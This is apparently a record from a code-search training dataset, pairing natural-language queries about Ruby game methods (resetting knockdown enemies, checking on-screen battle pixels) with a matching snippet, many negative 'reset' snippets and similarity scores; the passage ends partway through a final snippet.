"def reset_action(battler)\n if $atoa_script['Atoa ATB']\n battler.atb = 0\n elsif $atoa_script['Atoa CTB']\n battler.ctb_preset\n end\n end",
"def restart_game\n\t\tclear_screen\n\t\tpause_game(@pause)\n\t\t@asteroids_missed = 0\n\t\t@asteroids_hit = 0\n\t\t@asteroids_hit_missles = 0\n\t\t@shots_fired = 0\n\t\t@missles_fired = 0\n\t\t@pause = false\n\t\t@game_done = false\n\t\t@win = false\n\t\t@level = $StartingLevel\n\t\t@level_time = Time.now + $TimeLimit\n\tend",
"def reset\n @player_status = \"in\" \n @hands = [] \n @hands_status = [] \n @bets = [] \n @values = [] \n @cur = 0 \n end",
"def reset\n getok 'RSET'\n end",
"def reset\n #Imager Module\n Imager.imagerEnumEvent=\"\";\n Imager.imagerEvent=\"\";\n\n #FileTransfer Reset Module\n FileTransfer.createFolders = \"\"\n FileTransfer.overWrite = \"\"\n FileTransfer.transferEvent = \"\"\n\n #Battery Module\n Battery.batteryEvent = \"\"\n Battery.smartBatteryEvent = \"\"\n\n #Signal Module\n Signal.signalEvent = \"\"\n\n #Device And Apps\n Backlight.backlightSettingsEvent = \"\"\n Alarm.alarmTriggered =\"\"\n Timer.timeout =\"\"\n \n #Gesture Module\n Gesture.delete\n end",
"def reset() end",
"def reset\n @game = Game.new(level, enemyWidth, enemyHeight)\n resetLevels\n @laserFiring = false\n laser.resetEnergy\n # reset the text to indicate 0 score\n # (used for width to center text)\n inGameOptions = \"Score: 0 <Space> for Pause\"\n inGameOptionsWidth = font.getWidth(inGameOptions)\n end",
"def reset\n \n end",
"def reset()\n end",
"def reset\n\n end",
"def reset!; end",
"def reset!; end",
"def reset!; end",
"def reset!; end",
"def game_reset\n\t\tuser_hash = {\n\t\t0 => \" \",\n\t\t1 => \" \",\n\t\t2 => \" \",\n\t\t3 => \" \",\n\t\t4 => \" \",\n\t\t5 => \" \",\n\t\t6 => \" \",\n\t\t7 => \" \",\n\t\t8 => \" \"\n\t\t}\n\t\tstart_game(user_hash)\n\tend",
"def reset!\n self.command = :reset\n end",
"def reset_codes_and_computer\n self.secret_combination = []\n self.guess = []\n computer.reset_computer\n end",
"def resetCamShake \n \"resetCamShake\" \n end",
"def restartGame\r\n\t\r\nend",
"def reset ; end",
"def setup_instant_reset\n reset_pos(1) # Reset position\n update_move # Update move as well\n end",
"def setup_instant_reset\n reset_pos(1) # Reset position\n update_move # Update move as well\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def raw_reset\n raw_reboot_guest(:force => true)\n end",
"def raw_reset\n raw_reboot_guest(:force => true)\n end",
"def reset!\n end",
"def reset!\n end",
"def reset()\n\n\t\t@aChecksum = [ 0xFF, 0xFF ];\n\n\tend",
"def reset_money\n @total_rat_money = 0\n\n set_kmuddy_variable(\"total_rat_money\", 0)\n\n @inventory_rats = 0\n\n set_kmuddy_variable(\"current_rat_count\", 0)\n send_kmuddy_command(\"put sovereigns in pack\")\n end",
"def reset_abs_data\n # reset killed battlers arrays and the counters\n @killed, @battlers_number = {}, {}\n end",
"def reset_all()\n\t@totalbets.text = \"$0\"\n\tfor i in 0..4\n\t\t@playerimages[i].path = \"images/#{$game.players[0].hand[i]}.png\" \n\tend\n\t@playerrank.text = $game.ranks[$game.players[0].ranks[0]]\n\t@winner.text = \"-----\"\n\t@rounds.text = $game.roundnum\n\tfor i in 0..3\n\t\t@fflag[i].text = \"\"\n\tend\n\nend",
"def reset()\r\n\t\t@time.reset\r\n\t\t@penalty.reset\r\n\t\t@usedHelp = 0\r\n\t\t@numberOfStars = 0\r\n\t\t@isFinished = false\r\n\t\t@nbClick = 0\r\n\t\treturn self\r\n\tend",
"def reset()\n \n end",
"def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end",
"def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end",
"def reset_device\n send \"\\x1f\\x02\\x00\\x2e\\x00\\x00\\x2b\\x03\"\n send \"\\x00\\x02\\x00\\x2e\\x00\\x00\\x2b\\x04\"\n send \"\\x00\\x00\\x00\\x2e\\x00\\x00\\x2b\\x05\"\n end",
"def reset_cpu\n # Correct CPU Cycles for Odd Games\n \n # Reset the CPU Registers\n accumulator, x, y = 0x00\n stack_pointer = 0x04\n status = 0xFF\n program_counter = 0#readWord(0xFFFC)\n end",
"def reset\n\t\tend",
"def reset_arduino\n @sp.dtr = 0\n @sp.rts = 0\n sleep(0.2)\n @sp.dtr = 1\n @sp.rts = 1\n sleep(0.3) #give the arduino some startup time\n end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset\n @hand = []\n @value = nil\n @status = \"unfinished\"\n end",
"def reset\n\t\t@r = 0\n\t\t@p = 0\n\t\t@t = 0\n\t\t@l = 0\n\t\t@s = 0\n\tend",
"def restore_pokemon_hp\n\n end",
"def restart_game\n @level = 0\n @level = Level.new(self)\n @player = Player.new(self, @level.start_x, @level.start_y)\n\n @menu_options = [\n :Play,\n :Instructions,\n :\"Save/Load\",\n :Quit\n ]\n\n @menu_selection = 0\n\n @state = :menu\n @paused = false\n end",
"def reset\n @pc_x = 0\n @pc_y = 0\n @step_no = 0\n @dir = RIGHT\n # The stack is an INTEGER stack. Any characters are pushed as their ASCII value\n @stack = Stack.new\n @stringmode = false\n @running = true\n end",
"def reset\n update!({ status: :inactive, stdout: '', stderr: '', error: 0, point: 0, feedback: '' })\n end",
"def reset_screen!\n clear_screen!\n move_to_home!\n end",
"def cmd_reset(*args)\n if args.length > 0\n cmd_reset_help\n return\n end\n client.reset\n end",
"def reset\n initialize\n setup\n end",
"def print_reset\n puts \"Reseted!\"\n end",
"def reset\n @lp.reset\n @lp.set_duty_cycle(1, 4)\n @lp.double_buffer = true\n @lp.offline_updates = true\n clear\n end",
"def reset(script_name = nil)\n if script_name.is_a? (Symbol) # If script to reset specified\n CONFIG[script_name].each_pair { |key, value|\n self.send(\"#{key}=\".to_sym, value)\n $game_message.send(\"#{key}=\".to_sym, value)\n }\n else # Reset all ATS scripts\n CONFIG.keys.each { |script| reset(script) }\n end\n end",
"def reset!\n client.reset!\n end",
"def reset\n @gold_coins = 0\n @health_points = 10\n @lives = 5\n end",
"def reset(x=nil)\n run \"reset #{x}\"\n nil\n end",
"def reset(game_id)\n game_state(game_id).reset\n end",
"def restart\n\t\t@x = $Width/2 - 15 #centers the ship\n\t\t@y = $Height - 100\n\t\t@exists = true\n\t\t@powerup_name = \"\"\n\t\t@laser_timeout = Time.now\n\t\t@shields = 0\n\t\t@missles = 0\n\tend",
"def reset\n end",
"def reset\n end",
"def reset\r\n Ragweed::Wrap32::reset_event(@h)\r\n end",
"def reset\n @agent.reset\n end"
] |
[
"0.74536294",
"0.68683934",
"0.68308806",
"0.6788325",
"0.67348224",
"0.6731317",
"0.6666529",
"0.6616354",
"0.65939915",
"0.65845",
"0.65845",
"0.65744513",
"0.6566991",
"0.6558563",
"0.6545683",
"0.6452776",
"0.6444787",
"0.64390045",
"0.64270735",
"0.64103353",
"0.6376449",
"0.63720185",
"0.63658154",
"0.6347951",
"0.6325125",
"0.6321249",
"0.6315271",
"0.62967455",
"0.6289905",
"0.6289905",
"0.6289905",
"0.6289905",
"0.62520903",
"0.62387",
"0.6228183",
"0.6211702",
"0.6211237",
"0.6209448",
"0.6204785",
"0.6204785",
"0.6190602",
"0.6190602",
"0.6190602",
"0.6190602",
"0.6181549",
"0.6181549",
"0.6176017",
"0.6176017",
"0.615717",
"0.615717",
"0.61563635",
"0.61416423",
"0.61299825",
"0.61238396",
"0.61220396",
"0.6112347",
"0.60985315",
"0.60985315",
"0.6093724",
"0.6087119",
"0.60790896",
"0.6075105",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.6073875",
"0.60402566",
"0.6038398",
"0.6036894",
"0.6034002",
"0.60205656",
"0.6013204",
"0.6011164",
"0.6009023",
"0.60034317",
"0.59998095",
"0.5994594",
"0.5984626",
"0.59663993",
"0.5945624",
"0.59360564",
"0.5929978",
"0.5914688",
"0.5908575",
"0.5908575",
"0.5894317",
"0.588795"
] |
0.0
|
-1
|
reset knockdown enemies game player call
|
def reset_knockdown_enemies
$game_map.events.values.each do |event|
if event.knockdown_data[1] != nil
event.knockdown_data[0] = 0
event.knowdown_effect(2)
end
if event.deadposee and event.killed
$game_self_switches[[$game_map.map_id, event.id,
PearlKernel::KnockdownSelfW]] = false
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reset_knockdown_actors\n # reset knock down\n if @knockdown_data[1] != nil\n @knockdown_data[0] = 0\n knowdown_effect(2)\n end\n # force clear knock down\n $game_player.followers.each do |follower|\n if follower.knockdown_data[1] != nil\n follower.knockdown_data[0] = 0\n follower.knowdown_effect(2)\n end\n end\n end",
"def reset_player args\n args.state.player.x = 0\n args.state.player.y = args.state.bridge_top\n args.state.player.dy = 0\n args.state.player.dx = 0\n args.state.enemy.hammers.clear # empties hammer collection\n args.state.enemy.hammer_queue.clear # empties hammer_queue\n args.state.game_over_at = args.state.tick_count # game_over_at set to current frame (or passage of time)\nend",
"def reset_player args\n args.state.player.x = 0\n args.state.player.y = args.state.bridge_top\n args.state.player.dy = 0\n args.state.player.dx = 0\n args.state.enemy.hammers.clear # empties hammer collection\n args.state.enemy.hammer_queue.clear # empties hammer_queue\n args.state.game_over_at = args.state.tick_count # game_over_at set to current frame (or passage of time)\nend",
"def reset_player_weapons()\n set_weapon()\n set_other_weapon()\n end",
"def reset\n @player_status = \"in\" \n @hands = [] \n @hands_status = [] \n @bets = [] \n @values = [] \n @cur = 0 \n end",
"def reset_game\n\t\t#Reset the board\n\t\treset_board\n\t\t\n\t\t# Reset the Points\n\t\t@points_player1 = 0\n\t\t@points_player2 = 0\n\t\t\n\t\t@hud_player1.set_text(\"Player X: \"+@points_player1.to_s)\n\t\t@hud_player2.set_text(\"Player O: \"+@points_player2.to_s)\n\t\t\n\t\t# Setting the X Player to start\n\t\t@playerx = true\n\t\t@current_player.set_text \"Player: X\"\n\tend",
"def reset_game\n @cur_board.clear_board\n @cur_board.setup_board\n @turn = 1\n @player_to_move = \"w\"\n end",
"def reset\n @game = Game.new(level, enemyWidth, enemyHeight)\n resetLevels\n @laserFiring = false\n laser.resetEnergy\n # reset the text to indicate 0 score\n # (used for width to center text)\n inGameOptions = \"Score: 0 <Space> for Pause\"\n inGameOptionsWidth = font.getWidth(inGameOptions)\n end",
"def reset\n @players.each { |player| player.reset }\n @dealer.reset\n system \"clear\"\n end",
"def reset_game\n @current_room_id = 9\n find_room_by_id(9).isLocked = true\n find_item_by_id(8).show_item = false\n @inventory.delete(8)\n @talk_id = 18\n end",
"def resetStates()\r\n @players.each do |player|\r\n if(player.money > 0)\r\n player.state = \"fine\"\r\n else\r\n player.state = \"broke\"\r\n end\r\n end\r\n end",
"def reset_turn\n\t\t#$logger.info \"Entered\"\n\n\t\t#moved = false\n\t\t#moved_to = nil\n\t\t@next_move = nil\n\t\t@enemies = []\n\t\t@friends = nil #[]\n\tend",
"def reset\n @num_1 = rand(1..20)\n @num_2 = rand(1..20)\n if @current_player == 1\n @current_player = 2\n else\n @current_player = 1\n end\n end",
"def reset\n @gold_coins = 0\n @health_points = 10\n @lives = 5\n end",
"def reset\n @round = 0\n @turn = 0 \n assign_player_colors\n seat_players\n seed_player_funds\n reset_state_bins\n add_home_state_picks\n pick_who_goes_first\n start_at_first_day\n end",
"def reset_all()\n\t@totalbets.text = \"$0\"\n\tfor i in 0..4\n\t\t@playerimages[i].path = \"images/#{$game.players[0].hand[i]}.png\" \n\tend\n\t@playerrank.text = $game.ranks[$game.players[0].ranks[0]]\n\t@winner.text = \"-----\"\n\t@rounds.text = $game.roundnum\n\tfor i in 0..3\n\t\t@fflag[i].text = \"\"\n\tend\n\nend",
"def reset\n @shoe = Shoe.new(7)\n player.hand.clear;\n player.bust = false\n dealer.hand.clear;\n dealer.bust = false\n play\n end",
"def reset\n self.turn = 1\n self.state = ONGOING\n self.board # Triggers default value if necessary.\n self.players\n self.currentPlayer = self.players.first\n board_each do |r,c|\n self.board[r][c] = nil\n changed(true)\n notify_observers U_BOARD, r, c, self.board[r][c]\n end\n binding.pry\n postcondition do\n raise \"Turn should be set to one after reset.\" unless self.turn == 1\n end\n # Let the computer move if necessary.\n computer_actions\n end",
"def reset_points\n @points = 0\n @opponent.points = 0\n end",
"def resetEnemyCounter\n\t\t@enemyCounter = 0 + rand(2)\n\tend",
"def reset_values\n @pot_size = 0\n @committed = 0\n @table_current_bet = 0\n @stage_of_play = 0\n @active_players = @player_positions.clone\n @active_players.each do |player|\n player.hole_cards = []\n player.folded = false\n player.current_bet = 0\n player.max_winnings = 0\n player.max_pot = 0\n player.acted = false\n player.strongest_hand = []\n end\nend",
"def reset_money\n @total_rat_money = 0\n\n set_kmuddy_variable(\"total_rat_money\", 0)\n\n @inventory_rats = 0\n\n set_kmuddy_variable(\"current_rat_count\", 0)\n send_kmuddy_command(\"put sovereigns in pack\")\n end",
"def game_reset\n\t\tuser_hash = {\n\t\t0 => \" \",\n\t\t1 => \" \",\n\t\t2 => \" \",\n\t\t3 => \" \",\n\t\t4 => \" \",\n\t\t5 => \" \",\n\t\t6 => \" \",\n\t\t7 => \" \",\n\t\t8 => \" \"\n\t\t}\n\t\tstart_game(user_hash)\n\tend",
"def resetBoard (player)\n\t\tif(player.side == 1)\n\t\t\t@p1Board.each do |c|\n\t\t\t\tc.played = false\n\t\t\tend\n\t\telsif(player.side == 2)\n\t\t\t@p2Board.each do |c|\n\t\t\t\tc.played = false\n\t\t\tend\n\t\tend\n\tend",
"def reset\n @dice_cup.clear\n @number_of_dice = 6\n @farkle_count= 0\n end",
"def reset_statuses\n @player1.deuce = false\n @player2.deuce = false\n @player1.advantage = false\n @player2.advantage = false\n end",
"def reset_players\n # Replaces the hands array with a new array, with only one hand in it.\n @players.each {|p| p.hands = [p.hand.reset!] }\n\n # Resets the dealers only hand.\n @dealer.hand.reset!\n end",
"def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end",
"def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end",
"def reset()\n\n @board.locations.each do |row|\n row.each do |location|\n \n # removes all pieces from the board.\n if location\n location.removePiece() \n end\n end\n end\n\n # player 1, remove all pieces\n for piece in @player1.unplayedPieces\n piece = nil\n end\n\n # player2, remove all pieces\n for piece in @player2.unplayedPieces\n piece = nil \n end\n\n # calls start game\n startGame(@player1, @player2)\n\n end",
"def reset_hand\n @hand_played = []\n end",
"def gameover\n op_hand.clear\n end",
"def reset!\n @hands.each(&:discard!)\n @cards += @used\n @used = []\n end",
"def reset()\n # Reset to random position, bounded by the window dimensions\n @position = {:x => rand((0.5*@sprite.width)..Params::WINDOW_WIDTH-(0.5*@sprite.width)),\n :y => rand((0.5*@sprite.width)..Params::WINDOW_HEIGHT-(0.5*@sprite.height))}\n # Reset fitness to base fitness\n @fitness = Params::BASE_FITNESS\n # Reset age to zero.\n @age = 0\n # Reset number of goals reached.\n @goals_reached = 0\n # Reset rotation to random angle (in radians).\n @angle = rand(0.0..Params::TWO_PI)\n end",
"def reset_self\r\n @hole_cards = []\r\n @folded = false\r\n @bet = 0\r\n end",
"def reset\r\n@candidates = ['Mika', 'Reggie', 'Kenneth', 'Trevor']\r\n@votes = [m=0, r=0, k=0, t=0]\r\n@canname = ''\r\n@vote =''\r\n@v=0\r\n@tie = []\r\nend",
"def reset_scores\n @player1.points = 0\n @player2.points = 0\n end",
"def reset_players_hand(current_player)\n if current_player == 1 then\n @player1_hand = []\n end\n if current_player == 2 then\n @player2_hand = []\n end\n if current_player == 3 then\n @player3_hand = []\n end\n if current_player == 4 then\n @player4_hand = []\n end\n end",
"def reset()\r\n\t\t@time.reset\r\n\t\t@penalty.reset\r\n\t\t@usedHelp = 0\r\n\t\t@numberOfStars = 0\r\n\t\t@isFinished = false\r\n\t\t@nbClick = 0\r\n\t\treturn self\r\n\tend",
"def pbResetAllRoamers\n if $PokemonGlobal && $PokemonGlobal.roamPokemon\n for i in 0...$PokemonGlobal.roamPokemon.length\n if $PokemonGlobal.roamPokemon[i]==true && $PokemonGlobal.roamPokemonCaught[i]!=true\n $PokemonGlobal.roamPokemon[i]=nil\n end\n end\n end\nend",
"def reset_game()\n # If money in pot, distribute\n while (self.pot > 0)\n winners = []\n # In case where everyone has folded, set the winner to whoever is left\n if self.players.where(:in_hand => true).length <= 1\n winners = self.players.where(:in_hand => true)\n else\n #gets people with highest score\n winners = get_winners()\n end\n winners.each do |winner|\n #TO IMPLEMENT: more advanced side pots\n winner.money += self.pot / winners.length()\n winner.save\n end\n self.pot = 0\n end\n # reset deck of cards\n self.cards.where.not(:location => -1).each do |card|\n card.location = -1\n card.save\n end\n # reset amount each player has in the pot to 0\n self.players.each do |player|\n player.in_hand = true\n player.in_pot_hand = 0\n player.in_pot_current = 0\n player.hand = ''\n player.save\n end\n # reset pot to empty, increment dealer if not first hand\n if self.round != -1\n self.dealer = (self.dealer + 1)%10 + 10\n end\n # makes sure a player exists where the dealer is set\n while self.players.where(:location => self.dealer).length == 0\n self.dealer = (self.dealer + 1)%10 + 10\n end\n self.round = 0\n self.high_bet = 0\n self.high_better = get_next_player(self.dealer)\n self.save\n deal(self.round)\n end",
"def reset(board)\r\n # board = $reset_board\r\n # board[5][0] = \" \" #don't put pacman back where he was\r\n # board[$posA][$posB] = \"c\".gold #keep pacman in current position\r\n # return board\r\nend",
"def reset\n\t\tdo_send('ARST 2')\n\tend",
"def reset_stats\n self.rounds = 0\n self.wins = 0\n self.losses = 0\n self.total_points = 0\n self.rank = 0\n end",
"def resets; end",
"def start\n setPlayers\n question\nend",
"def setplayer1\r\n\t\t\t@player1 = \"O\"\r\n\t\tend",
"def reset_instance_variables_values\n @guess = []\n @feedback = []\n @round = 1\n @winner = ''\n end",
"def reset\n @lives = 3\n @score = 0\n @answer = \"\"\n end",
"def kick(player_name)\n\t\n\t player_name.hp = player_name.hp - 20\n\n\t end",
"def reset\n @grid.reset_pulses\n end",
"def set_enemies(enemies)\n @enemy_party = []\n for i in 0...enemies.size\n next if $game_self_switches[[$game_map.map_id, enemies[i][0], 'D']] or \n $game_map.events[enemies[i][0]].erased\n @enemy_party << enemies[i]\n end\n end",
"def reset_player_balances\n update_attributes(actions: 1, treasure: 0, buys: 1, prompt: nil) \n end",
"def restart_game\n\t\tclear_screen\n\t\tpause_game(@pause)\n\t\t@asteroids_missed = 0\n\t\t@asteroids_hit = 0\n\t\t@asteroids_hit_missles = 0\n\t\t@shots_fired = 0\n\t\t@missles_fired = 0\n\t\t@pause = false\n\t\t@game_done = false\n\t\t@win = false\n\t\t@level = $StartingLevel\n\t\t@level_time = Time.now + $TimeLimit\n\tend",
"def setup_instant_reset\n reset_pos(1) # Reset position\n update_move # Update move as well\n end",
"def setup_instant_reset\n reset_pos(1) # Reset position\n update_move # Update move as well\n end",
"def reset_for_new_round(role)\n if role == 'code breaker'\n @@player_key = []\n puts \"You have #{12 - @@turn_counter} turns left.\"\n else\n @computer_key = []\n keep_color_matches = []\n answer = ''\n puts \"The computer has #{12 - @@turn_counter} turns left.\"\n puts \"Type 'go' to play the next round\"\n answer = gets.chomp.downcase.strip until answer == 'go'\n end\n @@direct_matches = []\n @@color_matches = []\n end",
"def setplayer2\r\n\t\t\t@player2 = \"X\"\r\n\t\tend",
"def player_call(i)\n\t\t@players.at(i).removemoney(@bet)\n\t\t@pot = @pot + @bet\n\tend",
"def reset\n @hand = []\n @value = nil\n @status = \"unfinished\"\n end",
"def reset_abs_data\n # reset killed battlers arrays and the counters\n @killed, @battlers_number = {}, {}\n end",
"def reset\n\t\t@hand = Array.new\n\t\t@total = 0\n\tend",
"def zero_player_mode\nend",
"def reset_hand\n @hand = []\n end",
"def reset\n @gold, @metal, @stone, @wood = [5, 1, 1, 1]\n @dwarves, @elves, @gnomes = [3, 3, 0]\n @properties, @score = [12, 0]\n\n self\n end",
"def bookkeeping_before_betting()\n @dealer.reset() ## very important to reset dealer\n @players.delete_if{|player| player.amount <= 0} ## remove broke players\n if @players.size == 0\n puts \"**********WE NEED MORE PLAYERS**************\"\n exit() # exit if no more players left\n end\n @players.each do | player|\n player.reset() ## reset remaining players\n end # end reset\n end",
"def reset!\n client.reset!\n end",
"def reset!; end",
"def reset!; end",
"def reset!; end",
"def reset!; end",
"def end_game()\n get_winners()\n end",
"def switch_players\n @player1_turn = !@player1_turn\n end",
"def switch_player\nif @player == PIECE[:x]\n@player = PIECE[:o]\nelse\n@player = PIECE[:x]\nend\nend",
"def update_initial_data\n user.hand.cards = []\n dealer.hand.cards = []\n user.hand.total_score = 0\n dealer.hand.total_score = 0\n self.stop = false\n end",
"def fold_hand\n @active_players[0].folded = true\n pot_adjustment\n @active_players[0].current_bet = 0\n @active_players[0].acted = false\n system 'clear'\n puts 'You have folded your hand.'\n sleep(3)\nend",
"def reset_position\n return unless @followers\n $game_player.reset_follower_move\n @followers.size.times do |i|\n v = @followers[i]\n c = v.character\n x,y = $game_player.x, $game_player.y\n case $game_player.direction\n when 2\n y -= 1\n when 8\n y += 1\n when 4\n x += 1\n when 6\n x -= 1\n end\n x,y = $game_player.x, $game_player.y if !$game_map.passable?(x,y,$game_player.direction)\n c.moveto(x,y)\n c.direction = $game_player.direction\n c.instance_variable_set(:@memorized_move, nil)\n c.update\n v.update\n v.z -= 1\n end\n end",
"def reset!\n end",
"def reset!\n end",
"def reset() end",
"def start_new_match\n @player1.points = 0\n @player1.deuce = false\n @player1.advantage = false\n @player1.win = false\n @player1.games_won = 0\n @player1.sets_won = 0\n\n @player2.points = 0\n @player2.deuce = false\n @player2.advantage = false\n @player2.win = false\n @player2.games_won = 0\n @player2.sets_won = 0\n end",
"def refresh_damage_numbers\n i = 1\n while i < $Enemies.length \n if $Enemies[i].initialized\n $Enemies[i].init_damage_num\n end\n i += 1 \n end\n end",
"def reset_points_current_giocata\r\n @players_on_match.each do |pl_match|\r\n player_label = pl_match.name.to_sym\r\n @points_status[player_label][:scopa] = 0\r\n @points_status[player_label][:num_cards] = 0\r\n #each player needs last taken cards information\r\n @taken_card_info_last[player_label] = {} \r\n points_gfx_update(pl_match)\r\n end\r\n end",
"def reset\n \n end",
"def lose!\n\t\t@bet = 0\n\tend",
"def reset_player_scores()\n @players.each do |player|\n player.score = 0\n player.save\n end\n end",
"def restart\n self.with_lock(wait: true) do\n self.players.map(&:reset_state)\n self.round = 0\n self.night = true\n self.waiting = true\n self.discussion = false\n self.finished = false\n self.victim = []\n self.votee = []\n self.seen = []\n self.protectee = []\n self.necromancee = []\n self.homeless_host = []\n self.super_necromancer_done = {}\n self.amnesty_done = {}\n self.pending_custom_id = nil\n self.pending_custom_role = nil\n self.temp_stats = {}\n self.save\n end\n end",
"def level_advance\n all_lvls = [$lvl_1, $lvl_2, $lvl_3]\n if $current_lvl != all_lvls.last\n puts \"You hve defeated the first wave - prepare for wave #{$level_counter + 2}!\"\n puts \"Here's a reminder of your character's stats\"\n # the hp is not correct here.\n puts $player\n $level_counter += 1\n $no_of_enemies += 5\n $current_lvl = all_lvls[$level_counter]\n if $hide_speed >= 0.4\n $hide_speed -= 0.2\n end\n if $time_limit >= 3\n $time_limit -= 2\n end\n continue()\n system \"clear\"\n next_word()\n else\n puts \"Congratulations!! You have BEATEN THE GAME!!\"\n retry_game\n end\nend",
"def set_player\n\n end",
"def restart\n @lives == 5\n @gold_coins == 0\n @health_points == 10\n end",
"def resetgame\r\n\t\t \t @wordtable = []\r\n\t\t\t\t\t\t@secretword = \"\"\r\n\t\t\t\t\t\t@turn = 0\r\n\t\t\t\t\t\t@resulta = []\r\n\t\t\t\t\t\t@resultb = []\r\n\t\t\t\t\t\t@winner = 0\r\n\t\t\t\t\t\t@guess = \"\"\r\n\t\t\t\t\t\t@template = \"[]\"\r\n\t\t\t\t\t\t@turnsleft = GOES\r\n\t\t\t\t\t\t@score = 0\r\n\t\t\t\t\t\t@reward = \"\"\r\n\t\t\t\t\t\t@descr = []\r\n\t\t\t\t\t\t@num_words = 0\r\n\t\t\t\t\t\t@spin_flag = false\r\n\t\t\t\t\t\t@game_analysis.clear\r\n\t\t\t\t\t\t@spin_counter=0\r\n\t\t\t\t\t\t@guess_counter=0\r\n\t\t\t\t\t\t@num_guessed = 0\r\n\t\t\t\t\t\t@message = \"Guess a letter from the word/phrase.\"\r\n\t\t\t\t\t\t@web_initial = true\r\n\t\t\t\t\t\t@win = false\r\n\t\t\t\t\t\t@game_over = false\r\n\r\n\t\t end",
"def reset_keys\n $game_system.create_default_key_set\n @keys_window.refresh\n @keys_window.activate\n end",
"def reinitialize_game(player)\n self.quit_game = false\n self.current_player = player\n\n puts \"\"\n puts \"Welcome to a new version of the 2 Player Game.\"\n puts \"\"\n\n end",
"def start_round!\n @players.each { |player| player.empty_hand! }\n @players_in_round.replace(@players)\n @round_winner = nil\n ante_up!\n deal_initial_hands\n end",
"def reset_robot\n @commands_array = []\n @next_command_index = 0\n\n # Robot robot should not move before getting PLACEd.\n @is_placed = false\n\n # Start at origin, looking EAST.\n @face = FACES.keys[0]\n @location = {:x=>0, :y=>0}\n end",
"def reset_game_temp_message_info\n $game_temp.message_text = nil\n $game_temp.message_proc = nil\n $game_temp.choice_start = 99\n $game_temp.choice_max = 0\n $game_temp.choice_cancel_type = 0\n $game_temp.choice_proc = nil\n $game_temp.num_input_start = -99\n $game_temp.num_input_variable_id = 0\n $game_temp.num_input_digits_max = 0\n end",
"def reset\n @agent.reset\n end",
"def reset_voice\n @voice = \"Boing\"\n end",
"def re_game(status)\n\n if status == \"win\"\n puts \"Congratulations for teh bet\"\n player.chips = player.bet * 2\n puts \"You have now #{player.chips} chips\"\n end\n\n puts \"Would you like to play again ? 1.yes 2.no\"\n if gets.chomp == \"1\"\n deck = Deck.new # Reset Deck\n dealer.hand = [] # Reset dealer hand\n player.hand = [] # Reset player hand\n run\n else\n puts \"See you later\"\n exit\n end\n\n end",
"def reset\n setup\n end"
] |
[
"0.735721",
"0.731591",
"0.731591",
"0.7201511",
"0.7006652",
"0.6916159",
"0.6873152",
"0.6828643",
"0.6814836",
"0.68051904",
"0.6728379",
"0.66886264",
"0.66626406",
"0.6618975",
"0.65896195",
"0.6569383",
"0.6563998",
"0.65541506",
"0.6540335",
"0.6425402",
"0.6383882",
"0.63662845",
"0.63291764",
"0.6279446",
"0.62240016",
"0.6208114",
"0.61765444",
"0.61719143",
"0.61719143",
"0.616954",
"0.6150492",
"0.61452806",
"0.6139133",
"0.6111635",
"0.6106646",
"0.6087109",
"0.607313",
"0.6068224",
"0.60663545",
"0.6062911",
"0.6033255",
"0.6023662",
"0.60227317",
"0.60225",
"0.6013028",
"0.60074955",
"0.6004066",
"0.5992816",
"0.59907",
"0.59612954",
"0.59604686",
"0.5941903",
"0.5940837",
"0.5938569",
"0.59282494",
"0.59282494",
"0.5924321",
"0.59194726",
"0.59145725",
"0.58997494",
"0.5889437",
"0.58872783",
"0.58805716",
"0.5878071",
"0.5873176",
"0.58708876",
"0.58694357",
"0.58563054",
"0.58563054",
"0.58563054",
"0.58563054",
"0.58364516",
"0.5835202",
"0.58160424",
"0.58080083",
"0.5799677",
"0.57993865",
"0.57901174",
"0.57901174",
"0.5787769",
"0.5770031",
"0.5762011",
"0.5752716",
"0.57509506",
"0.5747477",
"0.5737088",
"0.5734179",
"0.5729949",
"0.5726386",
"0.57258695",
"0.5716999",
"0.5711886",
"0.57082266",
"0.57046574",
"0.5702067",
"0.57018965",
"0.57013476",
"0.5701275",
"0.56995845",
"0.56901956"
] |
0.7789281
|
0
|
on battle pixel, take a lot of time procesing, but it is very exact
|
def on_battle_pixel?(out=0)
w = Graphics.width + out; h = Graphics.height + out
return true if screen_x.between?(0 - out,w) and screen_y.between?(0 - out,h)
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pbCaveEntranceEx(exiting)\n sprite = BitmapSprite.new(Graphics.width,Graphics.height)\n sprite.z = 100000\n totalBands = 15\n totalFrames = 15\n bandheight = ((Graphics.height/2)-10).to_f/totalBands\n bandwidth = ((Graphics.width/2)-12).to_f/totalBands\n grays = []\n tbm1 = totalBands-1\n for i in 0...totalBands\n grays.push(exiting ? 0 : 255)\n end\n totalFrames.times do |j|\n x = 0\n y = 0\n rectwidth = Graphics.width\n rectheight = Graphics.height\n for k in 0...j\n t = (255.0)/totalFrames\n if exiting\n t = 1.0-t\n t *= 1.0+((k)/totalFrames.to_f)\n else\n t *= 1.0+0.3*(((totalFrames-k)/totalFrames.to_f)**0.7)\n end\n grays[k] -= t\n grays[k] = 0 if grays[k]<0\n end\n for i in 0...totalBands\n currentGray = grays[i]\n sprite.bitmap.fill_rect(Rect.new(x,y,rectwidth,rectheight),\n Color.new(currentGray,currentGray,currentGray))\n x += bandwidth\n y += bandheight\n rectwidth -= bandwidth*2\n rectheight -= bandheight*2\n end\n Graphics.update\n Input.update\n end\n if exiting\n pbToneChangeAll(Tone.new(255,255,255),0)\n else\n pbToneChangeAll(Tone.new(-255,-255,-255),0)\n 